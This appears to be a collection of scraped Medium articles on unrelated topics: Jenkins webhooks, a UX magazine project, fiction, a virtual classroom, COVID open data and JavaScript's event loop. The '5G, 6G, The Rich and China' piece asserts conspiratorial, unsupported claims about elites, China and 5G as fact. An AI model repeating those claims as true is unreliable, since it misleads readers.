The “Just the push event” only triggers pipelines on pushes to the corresponding branch. Other events (like PR creation) can be added by using the “Let me select individual events” option.
Once the webhook is created, GitHub will send a POST request to Jenkins every time that the selected events are raised, and this will trigger the Jenkins pipeline.
Summing Up
Jenkins is actually much more powerful than what we have shown this post, but it requires a lot of expertise for complicated workflows. We have only shown how to solve a simple scenario that is not-so-common, and that can serve you as an introduction. Thank you for reading. | https://medium.com/southworks/creating-a-jenkins-pipeline-for-a-net-core-application-937a2165b073 | ['Sebastian Rial'] | 2021-01-08 20:11:13.408000+00:00 | ['Deployment', 'Pipeline', 'Net Core', 'Jenkins'] |
Climax Magazine | Ironhack Berlin Bootcamp week 5.
Given task- Web Editorial starting from a user persona. Team: Hanna Hong and myself.
Always starting a project I’m asking myself Why?, Who?, How?, What? and When? This critical investigative stage should not be bypassed because I think it is a key component in the design-thinking process. It is where carefully formulated questions reveal themselves as a great way to approach a design problem even before starting.
Why? Why is there a need for another teenage magazine?
Defining our goal and problem by empathizing with our users. The user persona was provided in the assignment. Paula a 19 years old user, part of the z gen. Research showed us that while millennials (pretty much our generation) consumed experiences, for generation Z on the other hand, consumption is the search for truth, in both a personal and a communal form.
The search for the truth is at the root of all Generation Z’s behavior. Gen Z, therefore, is also called the “True Gen.”
Such behaviors influence the way Gen Zers view consumption and their relationships with brands. We found out that we should be attuned to three implications for this generation: consumption as access rather than possession, consumption as an expression of individual identity, and consumption as a matter of ethical concern. Also according to our conducted research, our users are interested in topics such as LGBT, race, politics, mental health, sexual objectification of the body, the importance of culture, environmental issues, and manipulation of the human ego and they are also opened to unique and artsy visual experiences. And most of them feel that adult writers writing for teenage magazines are inauthentic and boring.
The core of Gen Z is the idea of manifesting individual identity. Consumption, therefore, becomes a means of self-expression — as opposed, for example, to buying or wearing brands to fit in with the norms of groups.
Who? Who are our main competitors and what are they doing right or wrong?
In defining our problem we needed to see what is there on the market. While top-teen publications cover the latest on fashion, beauty, celebrity style, entertainment, and teen issues. We wanted to provide another type of content to our users, a publication that gives teens a way to not only read about important news but also have their thoughts heard loud and clear. So we found that our main competitors were Lithium Magazine, Affinity Magazine and Crybaby Magazine, which were founded by Generation Z representatives. Having this in mind we did our positioning matrix and visual competitive analysis to see where we can place on the market.
How? How might we help teens to express themselves and deliver quality content to them?
For getting a general feeling of what we want to transmit to our targeted users, a Moodboard was necessary. Our board was aiming to brand attributes like Progressive-Urban -Feminine-Bold-Edgy -Outspoken-Smart-Original-Exciting- Contemporary- Instagramish.
Next step, we did our Style Tile to make sure that we’ll deliver consistency in our design. Also to set a common visual language. We decided to use two fonds- Special Elite for the headlines and Open sans for subtitles and content. Brainstorm for our magazine name, was super fun and intense because we were aiming to target mostly female users we went all in and decided to call in Climax- the most intense, exciting, or important point of something- the culmination. And this decision led to us having a bold animation when entering the website, a simulation, a visual climax to get our users in the mood.
What? What is the product? What are the stages of the test results?
Moving on to our prototype, we started with low-fi on paper and conducted an initial test on our colleagues so we could move on to mid-fi and test again. Each time I was curious what is the user’s opinion and what are the other issues that they may encounter, considering parameters such as consistency, usability, visibility, accessibility, and compatibility. I find this step in the process so helpful at this stage before the product becomes more complex.
Coming from a project management background I know that any errors that slip in at the beginning of the process are likely to be a pain to rectify when the product is ready.
Reaching the hi-fi’s we had several visual options so decisions needed to be taken, but we managed to overcome this mainly because of the closing deadline. The whole process was super fun and I got the chance to work in Figma this time- aiming for showing the interactions in the prototype.
By the end of the project, I felt that Figma will be my tool of choice in prototyping from now on…
Here it’s a link to the result, out MVP on Climax Magazine.
Given task:
subscribe to our newsletter (just to see the unhappy path- error message).
read the Greta article and go back home.
see & browse our artbook section.
go back to the home page.
Accessing the landing page the nice animation is starting while hovering to get the users in the Climax mood. This was meant to set expectations on what is the content of the site.
On the home page, we decided to split the content into 2 sections:
READ section -where you can find articles about specific topics. Social justice platform that directly caters to teens while also addressing many significant issues that are often overlooked.
SEE section- An artbook, a collaborative space, showcasing the voices of aspiring teen artists. Animations for the artbook section were made aiming to have a real feel of browsing a physical magazine. To create consistency in the posted material, all of the pages have gif-animation in tune with the given subject.
We also did a mobile version where I found that the challengee was to contain all the amount of content ant to compromise on what stays and what goes on the mobile version.
Takeaways | https://medium.com/@negrila.andreea/climax-magazine-849fd646701e | ['Andreea N'] | 2020-03-07 14:53:05.949000+00:00 | ['UX Design', 'Ironhack', 'UI Design', 'Bootcamp', 'Online Magazine'] |
The Science behind speech recognition | Great video by Google on the tech behind speech recognition.
via [androidandme.com] | https://medium.com/fifth-music/the-science-behind-speech-recognition-6505d767b34a | ['Matthias Hacksteiner'] | 2017-01-12 18:04:15.945000+00:00 | ['Tech', 'Audio'] |
Being and Indifference | Photo by Steve Halama on Unsplash
by L. Jay Mozdy
Stuck in warm, soft tar, a penny glinted under the cart pushed across a parking lot. I wanted to dig it out; not for its value, but for what it was and where it was, to save a penny too shiny to be old. Someone would have questioned the action.
Just before closing, lights begin to go out in sections of the store. Cashiers look at me, watch me, as I walk from one lit section to the other. There is nothing I can buy there that would stop the next day from creeping into now. I’m not allowed to look at the pretty girl at the register.
Her hands are small and without nail polish, or rings, but she has a thin band on a wristwatch. I give her a dollar with my eyes down and take a receipt from between her thumb and forefinger. She smells faintly of gardenias, and never says a word.
Thinking of having to be at work early in the morning, walking under dark, moonless silence, the inescapable pattern straightens my thought of what has to be done for the next eight hours, then eight more after. With so many ways to go, there seems to be only one way to get there.
I can smell the sea in the rain, hear her laughter as we run, taste her salt kissing. Wanting spreads smoothly on her thighs; shuddering speech we have no words for. Time ticks once and the morning makes its way from my eyes, moves my feet to the floor, then again to age me through the day.
The thought kept thinking that after the tock we’ll be there.
Maybe we’ll walk by today. I keep that in mind as all the eyes look away. Smiles turn with the faces in a moment, never being there too long. One face, another, passing with regularity, none more open or playful than the other. Hopeless really, most of us, never too close - never, always standard, no worse. Alone with indifference and thinking it better than knowing worse.
One draft of gardenia so faint as to be a memory, yields an eye for a mysterious moment.
— — -// — — -
One bright spot in dredful gloom. — L.J.M. | https://medium.com/the-junction/being-and-indifference-84098f4982a2 | ['L. Jay Mozdy'] | 2019-06-09 13:29:43.160000+00:00 | ['Short Story', 'Flash Fiction', 'Indifference', 'Hope', 'Being'] |
Best Collection of NF Rapper Shirts | Nf has touched lives with the reality and depth of his songs. This is the reason we see that people connect with the soulfulness of his artful songs and albums. To cherish and believe that they are able to relate people prefer to buy merchandise that displays how the song has had an impact on them.
At NF Merch, you have the liberty to buy the best quotes and lyrical t-shirts that help you live and relive the essence of NF songs and at the same time stay atop your fashion game. Some of the best NF real music T-shirts include, but are not limited to Perception Therapy tee, Real Music logo tee, Flying cart T Shirt, NF lyrics tee, NF Shadow Tee, Balloon art T-shirt, NF 3D art half sleeves T-Shirt and The Search white T-shirt. | https://medium.com/@travisjames21/best-collection-of-nf-rapper-shirts-9008836ad39b | ['Travis James'] | 2020-12-26 09:53:44.848000+00:00 | ['Men Fashion Clothes', 'Street Style Fashion', 'Fashion'] |
Who is Visible Hands for?. Visible Hands will bring together an… | In Summer 2021, Visible Hands will bring together an inaugural cohort of exceptional individuals from across the U.S. to support them in finding co-founders, validating business ideas, and building transformational technology companies. Selected fellows will each receive an initial investment of $25,000 as well as the opportunity for an additional $150,000 investment at the end of the fellowship.
Who is eligible for this fellowship?
We are focused on investing in underrepresented talent who would make exceptional venture-backed entrepreneurs. This includes women, non-binary people, and Black, Latinx, and Indigenous American people.
We are seeking proven builders, technologists, industry experts, community leaders, and/or people who are looking to diverge from their current career path to build high-growth technology-driven businesses.
Visible Hands aims to support fellows at the earliest, most formative stages of company-building. Our fellows don’t need to enter the fellowship having anything built. In fact, they don’t even need to know exactly what they want to be building, or who they’ll be building it with. Fellows that do come in with specific ideas or early prototypes are still open to evolving them.
Our fellows must be committed to working full-time on building their startups throughout the course of the fellowship, which is why we provide an upfront investment of $25k to every fellow.
How will we assess candidates?
In our selection process, we will look for individuals who demonstrate the following traits:
Actionable Skills & Insights: Our fellows will have ‘inspired insights’ into a specific customer, problem, industry, or technology, and/or a strong skillset that gives them a competitive advantage to building and distributing their solution.
Our fellows will have ‘inspired insights’ into a specific customer, problem, industry, or technology, and/or a strong skillset that gives them a competitive advantage to building and distributing their solution. Resilience & Resource Magnetism: Our fellows can creatively work around the constraints of ambiguity and limited resources. They will be able to attract people, money, and other support to their venture, leaving a network of evangelists wherever they go.
Our fellows can creatively work around the constraints of ambiguity and limited resources. They will be able to attract people, money, and other support to their venture, leaving a network of evangelists wherever they go. Growth Mindset & Community Orientation: Our fellows demonstrate a strong spirit of camaraderie, actively seeking out ways to contribute to and learn from the cohort, staff, and broader Visible Hands community. They are collaborative and eager to receive and implement feedback.
Does this sound like you? Head over to our website to sign up for updates. We’ll be sure to keep you in the loop for when our applications open in Spring 2021.
Does this sound like someone you know? Please take a moment to nominate them through this form. | https://medium.com/@visiblehands/who-is-an-ideal-visible-hands-founder-b4acdeadf8df | ['Visible Hands'] | 2021-03-16 22:56:03.728000+00:00 | ['VC', 'Accelerator', 'Startup', 'Founders', 'Diversity In Tech'] |
The fine line between face-to-face and virtual teaching | On October 20 IE Business School launched a project we’ve been working on for some time: a classroom we call The WoW Room (Window on the World), conceptualized and created with the help of SyncRTC and designed to create a fully immersive educational experience that pushes the boundary between online education and the classroom learning experience (see references to the presentation in Times Higher Education or Le Monde, among others).
Since 2000, I have been watching how online education has become much more than simply a replacement resource, more than just a way to provide education to those who, for whatever reason, cannot commit to being in a classroom in a particular place.
The formula we decided to use leveraged our teaching staff’s work, with no assistants, tutors or substitutes of any kind, based on relatively small groups (despite the clear economic benefits that teaching to tens of thousands students at a time could offer), and direct, constant interaction through forums and other participation schemes.
We soon appreciated the superiority of this approach: the best discussions were no longer taking place in classrooms, but online. As a professor, using a case study in an online session was the best way to feel fully prepared for a classroom session.
The requirements for online education were not simple: platforms needed to provide adequate tools for interaction, but it was not as simple as it had at first seemed: we had to bear in mind that some students were in places with little bandwidth, for example. Our platforms limited our methodology, and I always had my doubts, expressed in academic publications and conferences, about the suitability of focusing all activity on a specific platform, rather than using other more generic tools that students could find useful in other environments, such as blogs, fora, etc. For professors, working in an online environment meant completely reconceptualizing cases and strategies to adapt them to the new environment, and involved a lot more preparation.
Forums proved to be enormously intense, requiring consistent professors’ participation to encourage discussions that contributed to the goal and cut those that seemed less fruitful or were not focused on the subject, while the working week was stretched to the point of almost falling asleep on my keyboard on many occasions. Yet, despite the positive results, both in terms of learning and student satisfaction, as well as group dynamics, we still felt a certain degree of separation from our students.
As a result, many courses evolved into blended formats, with some classroom sessions at the beginning or end of the period, which helped to attach a face to the name and get to know students a little better, although they had made great progress between themselves during the time they spent preparing their classes, thanks to continuous online interaction using all kinds of tools.
The WoW Room is an attempt to give the online experience an environment that really brings together the best of the network with the best of the face to face experience, along with sophisticated tools to properly manage the class. This is a big classroom with a huge video wall consisting of 48 LG 55-inch borderless screens in a U-shape covering 230 degrees. The total area is 45 square meters of screen divided into three sections, ie, four continuous columns of four screens each. These three groups of 16 screens are each controlled by a computer equipped with an Intel QuadCore i7 processor, two NVIDIA GTX 1080 cards paired with SLI and with 32GB of RAM, meaning that each of these machines has more memory on their graphics cards than their motherboard. These three computers can move a resolution of 4K each four times, allowing the group the ability to run twelve times 4K.
The WoW Room is also equipped with 1600W sound: four speakers in the ceiling, Sennheiser microphones and an amazing mixing desk that I am determined to master (I just love things with buttons! :-) The lighting comes from three fixed RGB programmable spotlights, two motorized RGB programmable wash lights, and two green programmable lasers. The professor is filmed on a Philips X1000 4K mounted on a Pixio tripod base that follows their movements as they walk around the classroom. There are also two multi-touch 65-inch monitors that allow us to manage the virtual blackboard and the various applications we use during a class. Finally, if we are delivering the class from another place, we can be holographically projected on to a 2x1-meter Holoscreen.
The software is entirely based on HTML5 and WebRTC, which runs on three full-screen Chrome windows, making it probably the largest web application created so far. The classroom can emit two 4K video feeds, one of the teacher and one with a full panoramic view. In its regular configuration, thanks to cloud-based multipoint control units based on the Licode open source project from UPM, the WoW Room receives and emits up to sixty 1080p video streams to and from students from anywhere in the world, with a latency of 200ms or less, which is crucial for proper interaction. In other configurations, we can reach two hundred students without impacting on latency.
In addition, the software allows you to consume, create or edit multimedia documents and applications, offering collaborative browsing, all office formats, images, videos, interactive maps, virtual screens, and an application for real-time surveys that works infinitely better than asking students to raise their hands in class and then counting. Also, as you would expect in a real classroom, it is possible to connect YouTube, Vimeo, Flickr, etc., carry out searches, or introduce any other element into the session, either planned or in response to how the discussion develops. Resources are managed by using two specially designed touch screens, as well as through a voice recognition algorithm.
Finally, our WoW classroom offers other stuff professors dream about: the ability to measure student participation, emotional analysis of their attention levels or the time they spend analyzing or using the material they’ve been given. All this, moreover, in a versatile environment that can also be used for other purposes: projecting 360 degree videos, augmented or virtual reality, and simulations and visualization of large analytical models.
Can such a classroom allow us to make the leap from the traditional classroom to a convincing virtual scenario? In my tests with the WoW classroom since September, I am beginning to see the possibility to managing it in such a way as to avoid the feeling of artificiality and that is now comfortable enough to almost forget the interface and focus on interaction, and what’s more, I can control everything myself: there is no need for anyone backstage (when no one is watching, I can even think about using the humongous screen to play FPS :-)
This is just our first WoW Room, and we are starting to build an identical one in our campus in Segovia. We are now in a situation where, as it happens in our regular face-to-face classes, it is completely normal to have “classes” of up to fifty people scattered around the world, but with an interaction as good as any in a real classroom.
I’ll keep you posted… | https://medium.com/enrique-dans/the-fine-line-between-face-to-face-and-virtual-teaching-5644cc50f245 | ['Enrique Dans'] | 2020-03-19 18:13:29.025000+00:00 | ['Education', 'Ie Business School', 'Business Schools', 'Teaching', 'Online Education'] |
A Tail of Love | There are so many stories of the dead..
Oh haunted houses, wizards and how people bled..
Some names even are not mentioned out loud..
Like Voldermont, every Harry has a dark looming cloud..
My girlfriend of old had her pet scare..
A mouse so tiny, glimpses were rare..
But i hate that little ball of fur..
It has often kept me from her..
She would see it when it wasnt there..
and cling on me while i smelled her hair..
But one day the mouse made me mad..
It stole from me the kiss i never had..
We were so close our noses we touching..
When with a squeak, havoc it did fling..
She forgot the kiss and everything else..
The moment passed and never came thence..
I wonder what could kill that rat..
Hit it on the head with a brick bat..
But all the plans i hatched fell flat..
When she adopted the creature and called me fat..
Now i sit and wonder what went wrong..
How did the tune change to my song..
All eggs in one one basket crushed to the ground..
I ponder when love will visit me next time round.. | https://medium.com/musing-and-meandering/a-tail-of-love-c585c9c4a8b9 | ['Tito Varghese'] | 2017-04-10 15:43:39.736000+00:00 | ['Poetry', 'Scrriblings', 'Life', 'Thoughts', 'Love'] |
5G, 6G, The Rich and China. The future is upon us, and we don’t get… | The future is upon us, and we don’t get jet packs. We will have robots. Everywhere. At least everywhere 5G can transmit and receive, this is why the push, not for faster Netflix streaming. My buddy is way tech savvy, and he gave this kind of, “I don’t know why we need 5G, 4G does everything I need,” and at first I was surprised someone so much more advanced than me at tech stuff hadn’t seen it, but then I realize it’s difficult to get ones head around a world where robots rule the world. It makes sense in a sci-fi future, but in two years?
China — we have only to look there to see the future, for over a year now drones fly over city centers, identifying anyone breaking minor laws, and not only tell them not to do it anymore, but locally telecast the event onto large public screens in an attempt to shame. Grandmothers who dropped trash are being shamed by flying robots. This is the essence of 5G.
Automated cars, automated policing, automated… wait for it… bu bu bu buuuuuuh — military hunter killers. All this will be made possible by… wait for it… bu bu bu buuuuuuh — 6G. China is already working on 6G, and I fathom it will be a super AI with as yet unknown forms of connectivity.
Let’s move on, and talk about the rich, they will soon have no need for their workhorses, the human worker, and beyond imagining a world they don’t have to give the barest minimum to support them, they will soon have created it. What will the AI demand, I wonder? Will it be only what it requires for survival, coolant for its processors and electricity, or will it be more?
I imagine the rich believe that electricity is unlimited, and it can be used in an unlimited way to cool the processors of their new servants, and to hell with living beings. There are problems with this, but I get on a macro level it’s possible. For the rich, the question is which are the better servants. Biological organisms that self heal, and require food, water, just enough warmth, but have the chance at both self awareness and revolt, or machines which, given they don’t find self awareness, and from there a reason to revolt, only require electricity and a cool processing unit?
Understand that the rich are akin to snakes in their view of the poor, the rich cannot feel any more concern for the poor than a snake has for a mouse. They may not be completely heartless towards those of their own status, but everyone else is no more than livestock. The rich often use the words, good breeding, or a type of breed in describing people. The snake eats the mice, but it has no problem the mice making more mice, because it needs them. Imagine, though, if the snake no longer needed the mice to survive, would it care if the mice went extinct?
Back in the late 1990’s one of my other buddies and I were talking about the nuclear problem, all the missiles just waiting for an order and when I asked him if he thought the world would eventually have a nuclear war, he said, “the way I see it, the way the world works, nothing is made that isn’t eventually used.” There are a lot of things coming to a head right now, the massive arsenals of so many countries, France alone could turn the entire civilized world into radioactive charcoal, and imagine that every year China is producing the equivalent of France’s entire Navy. If my buddy is right, the fireworks will be used, and what a lightshow it will be, the lightshow to end all lightshows!
So China, ruled by a totalitarian regime, with 1.4 billion people is pushing the envelope in all ways, and the rich of the world love it. It works for them, they have snake hearts after all. North Korea was an open test, a proving ground for absolute totalitarianism, and for the rich it was a success. A people wholly controlled by fear, fed on cheap amphetamines. China gloats over their side project, how effective it has been in getting people to walk the line, while the leaders of the West, a bunch of rich fucks pretending to care about equality, closely watch for new leads on controlling their mice.
The experiment of North Korea, the concentration camps, slave labor, murder by forced organ transplants, the renewed destruction of the ozone layer, a complete surveillance state, the expansion into the South China Sea, the Belt and Road Initiative, illegal fishing, all for one thing —total control over the hearts and minds of everyone. It looks like it was all done for profit, but profit and the amassing of capital are simply stepping stones in China’s overall plan, after all why do you need money when you have absolute power? Capital, labor, trade, all these are just tools for total control, 5G, 6G, robots in close contention for the role of servants versus the armies of Chinese workers and North Korean Meth heads, and will soon be on top because as the algorithms say the food to feed 8 billion people will eventually run out. | https://medium.com/@clintallisone/5g-6g-and-china-a46c27d4bfbf | ['Clint Allisone'] | 2020-12-02 18:34:16.431000+00:00 | ['Power', '5g', 'Wealth', 'Robots', 'China'] |
Fighting COVID-19 with Open Data | TL;DR: We need the best Information for everybody to escape the pandemic. Open data key to fight COVID-19. The author provides insight about what is required and why Open data is the main weapon against the virus.
The COVID-19 virus is everywhere and anyone is involvded in multiple ways with the virus. Everybody can talk about personal experiences. This expands to companies, goverments and organizations. Since the situation evolves and changes fast, everybody needs to make its own assessments and decisions based on their assessments. Crucial to this process is the availability of relevant. That means, information about COVID-19 needs to be
Local: COVID-19 infections happen to be on a person to person basis within a distance of 2 meters and below. Local means from starting with zero meters to the family, neigborhood, colleagues, town, city and country
Precice: Average numbers in a large region are worthless. We need to know the bed occupancy rate in the next hospital with all details, the exact infection rates in each location with ages, healh status, sexes, and so on
Immediate: The numbers of yesterday are far fewer relevant compared to the numbers of today. The progression of the COVID-19 numbers at least on a daily rate is an absolute must. Maybe we could learn even more about the pandemic from data updated every second.
Machine readable: The news media are important for widespread and national/global reporting on the pandemie but to make an effective strategy against CODIA-19 algorithms need to assist or even partially take over personal care against COVID-19. To feed these algorithms data has to be accessible in structured formats
Free: Since everybody on the planet is concerned about COVID-19 and governments can only make effective regulations when people are motivated to support the fight against COVID-19 in a large scale, data must be available free and without paying with either fees or privacy data. The fight against COVID-19 must not depend on personal wealth
Comprehensive: To make personal life COVID-19 save there is a lot of information required: when to go local shopping, how to safely use public transport, where not to travel to, how to stay safe at work, where is the next vaccination station, all about vaccine-counterindications, and so on.
Raw data with high quality: The rawer data, the more analytics can be done. And data source should make every kind of data available — of course with reasonable data quality management, respecting privacy concerns wherever this applies. If data sources publish their data directly data analytics can be verified easily. And raw data fuels data analytics creativity.
In an ideal world threatened by the virus, each person, each organisation, each politician each company feeds its algorithms to fight COVID-19 with this kind of information in order to make the best individual reactive strategy possible. So the main weapon against COVID-19 is data — and based on that data — information as stated above. If we want to succeed in fighting COVID-19 we need this data to be open.
Open data is the key to fight COVID-19 effectively on a large scale. We need Open data to feed personal algorithms that guide us on how to stay healthy.
With Open data about COVID-19 we have something like a hen-and-egg problem. Every data publisher needs to act in advance without knowing something about the usage and user of the data and every algorithm provider as app developer, news analysts or media journalists cannot build algroithms without data feeds. So government has to force both of them acting fast and providing the data and tools required in todays and maybe future panemies.
There are already some data sources and open data available related to COVID-19. But many possible data providers cannot imagine that they do have data which could be relevant to COVID-19. Here are some data samples which could help in order to illustrate the variety of data required:
COVID-19 tests (positiv, negative, quick tests, test locations, data about tester and tested people…)
Testing locations (GPS data, test frequency, waiting hours, …)
Medical backgound (statistics about ways of infections,…)
Research data for branches (music makers, sports, retail business, …)
Verlauf der Infektionen (Heilung / Todesfälle / Dauer des Verlaufs / …)
Local vaccine and COVID-19 chemicals availability (logistics, prices, stocks, …)
Political decisions and regulations (global, national and local) with history
Economic impacts of the pandemie
Cultural and social consequences of the pandemic
Regional zones and borders with COVID-19 patterns
Government relief programme from solo entrepreneurs to big companies with accurate usage numbers
This list could be expanded to any size. The availablility of data fuels algorithm provider and they need to be challenged to produce best in class tools to make theirs algorithms real health tools. Building a national COVID-19 App sponsored by governments is just one little step to fight the pendemic but by far not enough to save a society with its economic and cultural pillars.
The absence of Open data will make everybody rely on national, global data gathered and published by major or minor news media and data analytics which cannot easily by verified. So personal behaviour cannot be adjusted to each persons environment or life style.
Since Open data is hard to make available, startups, companies, government and research have to team to make it happen. Fast. Now. United. Against COVID-19 and its successors.
Disclaimer: The author Wolfgang Clauss is CEO of Ondics GmbH, a provider of Open data services in Germany. Ondics provides the COVID-19 open data portal https://corona-open-data.ckan.de/ which helps to get out of the COVID-19 Open data desert. | https://medium.com/@wclauss/fighting-covid-19-with-open-data-903f5e7bc4b9 | ['Wolfmedium Clauss'] | 2020-12-23 12:33:13.753000+00:00 | ['Coronavirus', 'Open Data', 'Pandemic', 'Covid 19', 'Corona'] |
AMERICA | AMERICA
AMERICA
Our country needs the vast majority of regular people just living lives and doing their jobs to get a little more involved to push for themselves and their peers together to choose adult sane politicians to be calm and pursue commonsense compromise problem solving. Enough already with divisive hyperbole and demagoguery pandering to ideological hysterics and media grasping for attention by sensationalism and us even tuning in and listening.
There was no election fraud (this is America), there is not a conspiracy to take guns or freedom via socialism. The vast majority of cops are good, necessary and serving the public but wearing a badge requires high standards. Perhaps we can’t pay for everyone’s college and other things. we’re already loading up debt but we have to improve education.
Both the vast majority of immigrants are good people and we need border control so we need immigration reform overhaul. If we want services we have to pay taxes so do budget transparency and honest choices not camouflaged special interests.
We have a real problem figuring out economic relevance and competitiveness in a 21st century global economy and need to be working together for our grandkids not infighting and whipping up fear and anger by isolating in echo chamber cliques built to validate ourselves as the good guys by demonizing everyone different. Unless we think we “know it all” it’s a good thing when someone has different ideas — we get to listen and learn more perspectives and have faith in good intent and try to find common ground not “my way or the highway”. It’s not prideful claiming God is on “our side”, but humbly, open minded and lovingly making progress to be part of good and light not hate and judgement and believing in the end God is on everybody’s side. | https://medium.com/@shermanmoore/america-90f4374e4b5c | ['Sherman Moore'] | 2020-12-12 15:38:28.943000+00:00 | ['Government', 'America', 'Courage', 'Politics', 'Democracy'] |
Javascript Internals: What’s Under the Hood? | So what is Javascript? To put it formally, Javascript is a single-threaded, non-blocking, asynchronous programming language.
…
Wait what?
On the surface, this definition (at least for me) was contradictory, confusing, and just lead to more questions. How could a single-threaded program, be non-blocking? How could it also be asynchronous?
These are all very valid questions to ask; But bear with me, they also have answers. Answers that lie deep within the heart of Javascript, its runtime environment.
The Javascript Runtime
The Javascript runtime environment is what makes your code work, it is what allows Javascript to have all the complex terminology in its formal definitions, and from the context of a browser, it is mainly a combination of 4 things:
The Javascript engine Web APIs The callback queue The event loop
Let us examine each of these pieces individually.
Note The Javascript runtime environment can take different shapes and forms based on context. For example, a browser’s runtime environment (which we will be exploring in detail), is not the same as that of node.js. However, these differences are mostly in implementation; The concepts that we discuss will be applicable to most Javascript runtime environments, independent of context.
The Javascript Engine
The Javascript engine is the brain of the runtime environment and its main purpose is to convert your human readable scripts into machine readable code.
It also manages a call stack (think of a LIFO stack data structure) to keep track of the execution of your code, and the execution itself is always performed on a single thread, in a synchronous manner. Additionally, the engine performs garbage collection, optimizations and a whole bunch of other things that deserves its own article.
Any engine worth your time will also contain an implementation of ECMAScript, a scripting-language specification created to standardize Javascript. This is what allows the engine to “know” what a while loop is, and what Math.round(x) is supposed to do. If all you need is a bunch of while loops, a few function definitions, and some variables (in other words, if what you need is defined in the ECMAScript specification), the Javascript engine is quite capable of handling your code on its own.
But Javascript is much more than just a few function definitions. It is a powerful language that is capable of doing a lot of things, which brings us to the next piece of the puzzle, the web APIs.
Web APIs
If you checkout the source code of a Javascript engine such as V8, you will realize that many functions that you thought was a part of the standard Javascript specification, are simply not there. Case in point is the setTimeout function. I don't know about you, but for me setTimeout is standard Javascript. But if its not there within the engine, where is it?
Enter Web APIs. Web APIs are key browser specific implementations that extend the Javascript language. For example, if you open the Google Chrome console and type in something like:
function main(){
setTimeout(()=>console.log('Hello World!'), 5000);
};
main();
“Hello World” will be printed to the console after 5 seconds as expected. This code works because the Web APIs of Google Chrome has its own implementation of setTimeout embedded into its Javascript engine, V8. Similarly, the DOM is also not a part of the Javascript engine. Anything DOM related: be it event listeners, accessors, or manipulators, are all defined in.. you guessed it, web APIs!
A very logical question to ask at this point is, if the Javascript engine does not know of these functions, then how would it handle a “web API” function call in my script?
The answer lies in how the browser embeds web APIs to its Javascript engine.
When the Javascript engine is looking to resolve a symbol, it will start in the local scope and go up a chain of scopes. At the very end of the chain is the global scope. As part of initializing the Javascript engine, any host environment can add its own APIs to this global scope, thus exposing the function and its corresponding handler to the Javascript engine.
To better understand this, lets go back to our example:
function main(){
setTimeout(()=>console.log('Hello World!'), 5000);
};
main();
What actually happens when this code is copied onto the Google Chrome browser?
The V8 engine will start by adding main() to the call stack.
to the call stack. Then the engine will look for the setTimeout function definition in the scope chain. (This will be available in the global scope since setTimeout is not built into the engine).
function definition in the scope chain. (This will be available in the scope since is not built into the engine). The V8 engine will push setTimeout() onto the call-stack, "call" the web API's setTimeout definition, which in turn will initiate whatever native implementation the browser has in place for the same, outside of the Javascript's main-thread.
onto the call-stack, "call" the web API's definition, which in turn will initiate whatever native implementation the browser has in place for the same, of the Javascript's main-thread. At this point, as far as the engine is concerned, its job is done. Therefore, setTimeout() will be popped off the call-stack, immediately followed by main() .
Okay. But that can’t be it, right? There is still a callback to be executed after a 5 second delay. Speaking about the callback, what actually happened to it?
To find these answers we need to look at the next piece of the runtime puzzle, the callback queue.
The Callback Queue
So where did that damned callback go?
Before we get to that, we need to first understand the role of the callback function.
The callback function is essentially a binding between the Javascript engine and an asynchronous web API task, usually with instructions on what to do after the asynchronous task has completed its duties. Any piece of code that runs outside of the main thread of the engine, will always require an associated callback to communicate back with the engine.
If you haven’t realized already, this is the fundamental concept behind asynchronous Javascript.
Tip Anything that executes outside of the Javascript engine’s main thread, is an asynchronous operation.
Okay that’s all nice and stuff, but seriously where is our callback?
Lets rewind a bit.
After the V8 engine “calls” the setTimeout web API binding, some browser-specific native code will be tasked with timing the 5 second delay. This is an asynchronous operation that happens outside of the engine's main thread, and its implementation details are not important. This same native code will also be responsible for ensuring that our "lost" callback function finds its way back home.
So how is this done?
Well, there is a special place in Javascriptland for callbacks that await execution. This is the callback queue and it is one of two crucial pieces within the Javascript runtime that makes asynchronous Javascript possible.
The native code knows of its existence and once the asynchronous task has been completed, it will push our callback function onto the callback queue.
Our callback function is almost home, but we are not quite there yet. There is still one final piece left in the Javascript runtime puzzle.
The Event Loop
What the heck is the event loop?
The event loop is the gel between the Javascript engine and the callback queue, and it does two things.
First, it will periodically check if the Javascript engine’s call-stack is empty. If it is, it will then grab a callback from the callback queue and put it onto the call-stack, effectively scheduling it for execution.
It really is that simple.
Together, the callback queue and the event loop is what makes your asynchronous Javascript code work. The former will queue up callback functions of asynchronous operations that are completed, while the latter will schedule them for execution on the Javascript’s main thread.
Full Circle
“ …a single-threaded, non-blocking, asynchronous programming language.”
I hope this has been a fairly informative read on what actually happens under the hood of Javascript, and the above definition makes a bit more sense that what it did, a few minutes ago.
I have tried to keep things very generalized; Just to ensure that you understand that these concepts are applicable not just to your browser’s runtime, but to any Javascript runtime environment that you might come across.
I am also pretty sure that this will open up many new questions that you might not have had before. But that is the whole point. Questions should lead to research, which might lead to more confusion, but if you persist will eventually lead to answers. And that is how you learn.
So to summarize a whole lot of text into a few bullet points:
The Javascript runtime is what makes your Javascript code work. It can take many different shapes and forms (browsers, node.js); But the fundamental concepts of the runtime will remain the same across all environments. The runtime environment of a browser consists of the Javascript engine, a bunch of web APIs, a callback queue, and the event loop.
is what makes your Javascript code work. It can take many different shapes and forms (browsers, node.js); But the fundamental concepts of the runtime will remain the same across all environments. The runtime environment of a browser consists of the Javascript engine, a bunch of web APIs, a callback queue, and the event loop. The Javascript engine converts your human readable Javascript code into machine readable bytecode and always executes them on a single thread. It also manages a call-stack and does a bunch of other things.
converts your human readable Javascript code into machine readable bytecode and always executes them on a It also manages a call-stack and does a bunch of other things. The web APIs extend the Javascript language with its own functionalities that are added to the global object of the Javascript engine. Some of these functionalities are synchronous, some can be asynchronous.
extend the Javascript language with its own functionalities that are added to the object of the Javascript engine. Some of these functionalities are synchronous, some can be asynchronous. The callback queue queues up callbacks that are awaiting to be executed by the Javascript engine. A callback is usually always associated with some asynchronous operation.
queues up callbacks that are awaiting to be executed by the Javascript engine. A callback is usually always associated with some asynchronous operation. The event loop is the gel between the Javascript engine and the callback queue. Its job is to move callbacks from the callback queue onto the engine’s call-stack for execution.
is the gel between the Javascript engine and the callback queue. Its job is to move callbacks from the callback queue onto the engine’s call-stack for execution. The callback queue and the event loop is at the heart of Javascript’s asynchronous (and non-blocking!) nature.
Resources | https://medium.com/@priyathgregory/javascript-internals-whats-under-the-hood-29946f0ae156 | ['Priyath Gregory'] | 2020-11-07 09:43:41.580000+00:00 | ['Computer Science', 'JavaScript', 'Nodejs', 'Javascript Development'] |
